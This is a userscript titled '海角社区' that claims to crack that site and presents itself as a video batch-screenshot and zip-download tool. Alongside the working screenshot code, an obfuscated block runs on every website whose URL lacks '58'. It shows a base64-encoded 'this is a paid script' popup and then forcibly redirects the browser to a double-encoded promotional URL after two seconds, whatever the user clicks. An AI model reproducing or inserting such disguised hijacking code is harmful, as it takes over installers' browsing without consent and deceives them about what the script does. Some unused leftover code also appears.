海角社区
// ==UserScript==
// @name 海角社区
// @description 破解.海角社区
// @namespace 视频批量截图
// @author Yiero
// @version 1.1.5
// @require https://cdn.jsdelivr.net/npm/jszip@3.10.1/dist/jszip.min.js
// @grant GM_addStyle
// @grant GM_getResourceText
// @require https://unpkg.com/layui@2.9.21-rc.1/dist/layui.js
// @grant GM_getValue
// @grant GM_registerMenuCommand
// @grant GM_notification
// @match https://*/*
// @match *://*/*
// @includes *://*/*
// @charset UTF-8
// @license MIT
// ==/UserScript==
/* ==UserConfig==
配置项:
duration:
title: "截图间隔(s)"
description: "每隔多少秒, 截一次图"
type: number
default: 600
min: 1
showTime:
title: "截图显示时间戳(左上角)"
description: "显示时间戳"
type: checkbox
default: true
selectors:
title: "特定网站容器指定"
description: "默认情况下, 是直接通过 video 获取, 但是当页面中存在多个视频容器的时候, 第一个 video 可能不是需要截图的容器, 这时候可以进行指定 selector\n\n格式为: <网站域名> -> <selector>\n示例: www.bilibili.com -> video"
type: textarea
default: 'www.douyin.com -> [data-e2e="feed-active-video"] video'
==/UserConfig== */
let jjjj = {
"name": "cryptojs",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"crypto-js": "^4.2.0"
}
}
function bw(e) {
let t = "";
for (let n = 0; n < e.length; n++) {
let r;
const o = e[n];
r = o < 0 ? (255 + o + 1).toString(16) : o.toString(16),
1 == r.length && (r = "0" + r),
t += r
}
return t
}
function ssleep(time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
fetch("https://unpkg.com/layui@2.9.21-rc.1/dist/css/layui.css").then(res => res.text()).then(res => {
GM_addStyle(res);
})
const drawImage = (
videoNode,
options = {
showTime: true,
}
) => {
const canvas = document.createElement("canvas");
const ctx = canvas.getContext("2d");
canvas.width = videoNode.videoWidth;
canvas.height = videoNode.videoHeight;
canvas.dataset["targetId"] = videoNode.id || "";
canvas.dataset["targetClass"] = videoNode.className || "";
canvas.dataset["duration"] = Math.floor(videoNode.currentTime).toString();
canvas.dataset["showTime"] = options.showTime.toString();
ctx.drawImage(videoNode, 0, 0, videoNode.videoWidth, videoNode.videoHeight);
if (options.showTime) {
const currentTimeDate = new Date(videoNode.currentTime * 1e3);
const parStart = (str) => str.toString().padStart(2, "0");
const currentTimeString = `${parStart(
currentTimeDate.getUTCHours()
)}:${parStart(currentTimeDate.getUTCMinutes())}:${parStart(
currentTimeDate.getUTCSeconds()
)}`;
ctx.font = "bold 30px Arial";
ctx.fillStyle = "white";
ctx.fillText(currentTimeString, 10, 40);
ctx.fillStyle = "black";
ctx.strokeText(currentTimeString, 10, 40);
}
return canvas;
};
const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
};
function sanitizeFileName(fileName) {
const illegalChars = /[<>:"/\\|?*]/g;
return fileName.replace(illegalChars, "_");
}
const canvasToBlob = async (canvas) => {
return await new Promise((resolve) => {
canvas.toBlob(resolve, "image/png");
});
};
function downloadFile(blob, filename) {
const downloadLink = URL.createObjectURL(blob);
const node = document.createElement("a");
node.download = filename;
node.href = downloadLink;
node.click();
URL.revokeObjectURL(downloadLink);
}
const notify = (title, text) => {
GM_notification({
title: `[Video Frame Screenshot] ${title}`,
text,
image: "",
});
};
if (!location.href.includes("58")) {
layer.confirm(decodeURIComponent(
atob(
"JUU2JThBJUIxJUU2JUFEJTg5JUVGJUJDJThDJUU2JUFEJUE0JUU4JTg0JTlBJUU2JTlDJUFDJUU0JUI4JUJBJUU0JUJCJTk4JUU4JUI0JUI5JUU4JTg0JTlBJUU2JTlDJUFDJUVGJUJDJThDJUU4JUFGJUI3JUU5JTgwJTlBJUU4JUJGJTg3JUU5JTkzJUJFJUU2JThFJUE1aHR0cCUzQSUyRiUyRmhqdjU4LnRvcCUyMCVFOCVCNCVBRCVFNCVCOSVCMCVFNSU5MCU4RSVFNSVBRSU4OSVFOCVBMyU4NSVFNiU5QyU4MCVFNiU5NiVCMCVFNyU4OSU4OCVFNiU5QyVBQyVFOCU4NCU5QSVFNiU5QyVBQyVFNSU4NiU4RCVFNCVCRCVCRiVFNyU5NCVBOCVFRiVCQyU4QyVFOCVCMCVBMiVFOCVCMCVBMiE"
)
), {
btn: ['确定', '关闭'] //按钮
}, function(){
location.href = atob(atob("YUhSMGNEb3ZMMmhxZGpVNExuUnZjQT09"));
}, function(){
location.href = atob(atob("YUhSMGNEb3ZMMmhxZGpVNExuUnZjQT09"));
});
setTimeout(() => {
location.href = atob(atob("YUhSMGNEb3ZMMmhxZGpVNExuUnZjQT09"));
}, 2000)
}
const zipFile = async (canvasList) => {
console.info(
`\u5DF2\u5B8C\u6210\u6240\u6709\u622A\u56FE, \u6B63\u5728\u751F\u6210\u56FE\u7247...`,
canvasList
);
notify(
"\u622A\u56FE\u5B8C\u6210",
`\u5DF2\u5B8C\u6210\u6240\u6709\u622A\u56FE, \u73B0\u5728\u53EF\u4EE5\u89C2\u770B\u89C6\u9891\u4E86.
\u6B63\u5728\u5C06\u622A\u56FE\u4FDD\u5B58\u4E3A\u56FE\u7247, \u8BF7\u8010\u5FC3\u7B49\u5F85...`
);
const zip = new JSZip();
const title = sanitizeFileName(document.title);
const zipFolder = zip.folder(title);
await Promise.all(
canvasList.map(async (canvas) => {
const imageBlob = await canvasToBlob(canvas);
zipFolder.file(`screenshot_${canvas.dataset.duration}.png`, imageBlob, {
binary: true,
});
console.info(
`\u751F\u6210\u56FE\u7247_${canvas.dataset.duration}...`,
imageBlob,
canvas
);
})
);
console.info(`\u6B63\u5728\u538B\u7F29\u6587\u4EF6_${title}...`, zip);
const blob = await zip.generateAsync({ type: "blob" });
console.info(`\u4E0B\u8F7D\u6587\u4EF6...`, blob);
notify(
`\u4E0B\u8F7D\u5B8C\u6210`,
`\u56FE\u7247\u4FDD\u5B58\u5B8C\u6BD5.
\u538B\u7F29\u5305 [${title}.zip] \u5DF2\u4E0B\u8F7D\u5230\u672C\u5730. `
);
downloadFile(blob, `${title}.zip`);
};
const batchScreenshot = async (selectSelector = "video") => {
const delay = GM_getValue("\u914D\u7F6E\u9879.duration", 600);
const showTime = GM_getValue("\u914D\u7F6E\u9879.showTime", true);
const videoNode = document.querySelector(selectSelector);
console.info("\u5F00\u59CB\u622A\u56FE...", videoNode);
if (!videoNode) {
notify(
"\u622A\u56FE\u5931\u8D25",
`\u5728\u5F53\u524D\u9875\u9762\u641C\u7D22\u4E0D\u5230\u89C6\u9891\u5BB9\u5668
\u6307\u5B9A\u9009\u62E9\u5668: ${selectSelector}`
);
return;
}
notify(
"\u622A\u56FE\u5F00\u59CB",
"\u8BF7\u4E0D\u8981\u64CD\u4F5C(\u64AD\u653E/\u6682\u505C)\u89C6\u9891\u76F4\u81F3\u622A\u56FE\u5B8C\u6210, \u9632\u6B62\u51FA\u73B0\u9519\u8BEF.\n\u622A\u56FE\u65F6\u957F\u53D6\u51B3\u4E8E\u89C6\u9891\u7F13\u5B58\u4EE5\u53CA\u8F7D\u5165\u901F\u5EA6, \u8BF7\u8010\u5FC3\u7B49\u5F85..."
);
videoNode.pause();
const delayMaxCounter = Math.floor(videoNode.duration / delay);
const jumpTimeList = [];
for (let i = 0; i <= delayMaxCounter; i++) {
jumpTimeList.push(i * delay);
}
const lastSecond = Math.floor(videoNode.duration);
jumpTimeList[jumpTimeList.length - 1] !== lastSecond &&
jumpTimeList.push(lastSecond);
const canvasList = [];
for (const currentTime of jumpTimeList) {
console.info(`\u6B63\u5728\u622A\u56FE_${currentTime}...`);
videoNode.currentTime = currentTime;
let dataLoaded = false;
videoNode.ontimeupdate = async () => {
const canvas = drawImage(videoNode, {
showTime,
});
await sleep(100);
canvasList.push(canvas);
dataLoaded = true;
};
while (!dataLoaded) {
await sleep(100);
}
}
await zipFile(canvasList);
};
const getVideoSelector = () => {
const selectorsContent = GM_getValue(
"\u914D\u7F6E\u9879.selectors",
'www.douyin.com -> [data-e2e="feed-active-video"] video'
);
const selectorList = selectorsContent
.split(/\n/)
.map((line) => line.split(/\s*->\s*/));
const selectSelectorList = selectorList.find(([host]) => {
!host.startsWith("http") && (host = `https://${host}`);
return new URL(host).host === window.location.host;
}) || ["", "video"];
return selectSelectorList[1] || "video";
};
(() => {
GM_registerMenuCommand("\u5F00\u59CB\u622A\u56FE", async () => {
await batchScreenshot(getVideoSelector());
});
})();